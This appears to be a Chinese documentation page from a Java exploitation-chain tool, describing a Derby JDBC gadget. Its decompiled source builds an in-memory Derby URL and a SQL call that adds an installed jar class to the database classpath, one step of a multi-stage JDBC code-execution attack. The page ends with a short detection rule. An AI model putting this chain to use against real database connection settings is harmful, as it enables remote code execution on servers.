Skip to content

Latest commit

 

History

History
64 lines (50 loc) · 3.04 KB

File metadata and controls

64 lines (50 loc) · 3.04 KB

2.Derby 添加Classpath 单SQL(DerbyAddClassPathJdbc)

  • 类别common 别名:— 优先级:—
  • 作者:X1r0z
  • 依赖derby:org.apache.derby.jdbc.EmbeddedDriver
  • 实现Gadget

作用

生成 Derby 内存数据库连接信息和一条设置 derby.database.classpath 的 SQL。

链接标签

  • 入口 tagsDerbyJdbcUrlJdbcUrlChainsEND
  • 衔接 nextTags:无
  • excludes:无

源码剖析

关键构造逻辑如下,摘自本条对应的 CFR 反编译源码:

public Map<String, Object> getObject() {
        String url = "jdbc:derby:memory:" + this.database + ";create=true";
        ArrayList<String> sqlList = new ArrayList<String>();
        sqlList.add("CALL SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY('derby.database.classpath', 'APP." + this.className + "')");
        HashMap<String, Object> map = new HashMap<String, Object>();
        map.put(ContextTag.JDBC_DRIVER, this.driverClassName);
        map.put(ContextTag.JDBC_URL, url);
        map.put(ContextTag.JDBC_URL_SQL_LIST, sqlList);
        return map;
    }

public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
        Map<String, Object> jdbcMap = this.getObject();
        context.put(ContextTag.DRIVER_CLASS_NAME_KEY, this.driverClassName);
        return jdbcMap;
    }

getObject() 返回 Map,包含 ContextTag.JDBC_DRIVERContextTag.JDBC_URLContextTag.JDBC_URL_SQL_LIST。URL 固定为 jdbc:derby:memory:<database>;create=true,SQL 为 CALL SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY(...)

它不是单独完成执行的 sink,而是 Derby 多阶段 JDBC 链中的一个步骤:前置步骤把 jar 安装到 Derby schema 后,本步骤把 APP.<className> 加入数据库 classpath,供后续 CREATE PROCEDURE 找到类。

invoke()org.apache.derby.jdbc.EmbeddedDriver 写入 DRIVER_CLASS_NAME_KEY,使外层 DataSource/JNDI 包装器能正确配置驱动。

参数(@Param)

字段 名称 说明 默认 可选值
database 数据库名 "dbtest"
className Jar包内的className 在DerbyInstallJar时可通过Context上下文输出进行获取

适用版本与原理要点

  • 注解描述:适用于HikariCP和TomcatJDBC仅能执行单条SQL情况 CALL SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY('derby.database.classpath', 'APP." + className + "')
  • 依赖条件:derby:org.apache.derby.jdbc.EmbeddedDriver
  • 面向只能执行单条初始化 SQL 的 JDBC 包装场景;className 需要与前面 Derby install jar 阶段实际写入的类名一致。
  • END 标签说明它可以作为链尾构件;如果没有上游包装器触发其返回对象,单独构造不会自动执行。

防御与检测

检测 SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTYderby.database.classpathjdbc:derby:memory: 同时出现。

所属预设链

自由构件,未直接出现在预设链中。

关联

  • 机器可读元数据:index/gadgets.json
  • 完整反编译源码:。